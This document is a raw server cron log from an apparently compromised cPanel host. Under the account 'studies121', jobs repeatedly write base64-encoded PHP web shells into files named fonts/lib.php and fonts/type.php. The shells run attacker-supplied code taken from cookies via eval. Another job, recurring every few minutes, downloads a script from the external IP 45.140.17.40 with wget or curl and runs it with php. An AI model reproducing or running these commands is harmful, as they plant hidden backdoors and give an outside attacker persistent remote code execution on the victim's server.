Aug 30 22:34:01 ip-184-168-122-23 CROND[19055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:34:01 ip-184-168-122-23 CROND[19056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:35:01 ip-184-168-122-23 CROND[19145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:35:01 ip-184-168-122-23 CROND[19150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:35:01 ip-184-168-122-23 CROND[19151]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 22:35:01 ip-184-168-122-23 CROND[19148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:35:01 ip-184-168-122-23 CROND[19149]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 22:35:01 ip-184-168-122-23 CROND[19147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:35:01 ip-184-168-122-23 CROND[19152]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:35:01 ip-184-168-122-23 CROND[19153]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:36:01 ip-184-168-122-23 CROND[19248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:36:01 ip-184-168-122-23 CROND[19249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:36:01 ip-184-168-122-23 CROND[19253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:36:01 ip-184-168-122-23 CROND[19252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:36:01 ip-184-168-122-23 CROND[19251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:37:01 ip-184-168-122-23 CROND[19331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:37:01 ip-184-168-122-23 CROND[19334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:37:01 ip-184-168-122-23 CROND[19333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:37:01 ip-184-168-122-23 CROND[19335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:38:02 ip-184-168-122-23 CROND[19414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:38:02 ip-184-168-122-23 CROND[19416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:38:02 ip-184-168-122-23 CROND[19418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:38:02 ip-184-168-122-23 CROND[19417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:38:02 ip-184-168-122-23 CROND[19420]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:39:01 ip-184-168-122-23 CROND[19512]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 22:39:01 ip-184-168-122-23 CROND[19514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:39:01 ip-184-168-122-23 CROND[19516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:39:01 ip-184-168-122-23 CROND[19517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:39:01 ip-184-168-122-23 CROND[19518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:40:01 ip-184-168-122-23 CROND[19693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:40:01 ip-184-168-122-23 CROND[19696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:40:01 ip-184-168-122-23 CROND[19698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:40:01 ip-184-168-122-23 CROND[19700]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 22:40:01 ip-184-168-122-23 CROND[19701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:40:01 ip-184-168-122-23 CROND[19702]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:40:01 ip-184-168-122-23 CROND[19703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:40:01 ip-184-168-122-23 CROND[19706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:41:01 ip-184-168-122-23 CROND[19800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:41:01 ip-184-168-122-23 CROND[19802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:41:01 ip-184-168-122-23 CROND[19801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:41:01 ip-184-168-122-23 CROND[19803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:42:01 ip-184-168-122-23 CROND[19882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:42:01 ip-184-168-122-23 CROND[19884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:42:01 ip-184-168-122-23 CROND[19885]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:42:01 ip-184-168-122-23 CROND[19887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:42:01 ip-184-168-122-23 CROND[19886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:43:01 ip-184-168-122-23 CROND[19963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:43:01 ip-184-168-122-23 CROND[19965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:43:01 ip-184-168-122-23 CROND[19966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:43:01 ip-184-168-122-23 CROND[19967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:44:01 ip-184-168-122-23 CROND[20046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:44:01 ip-184-168-122-23 CROND[20048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:44:01 ip-184-168-122-23 CROND[20049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:44:01 ip-184-168-122-23 CROND[20051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:44:01 ip-184-168-122-23 CROND[20050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:45:01 ip-184-168-122-23 CROND[20151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:45:01 ip-184-168-122-23 CROND[20152]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:45:01 ip-184-168-122-23 CROND[20155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:45:01 ip-184-168-122-23 CROND[20156]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:45:01 ip-184-168-122-23 CROND[20157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:45:01 ip-184-168-122-23 CROND[20158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:46:01 ip-184-168-122-23 CROND[20245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:46:01 ip-184-168-122-23 CROND[20248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
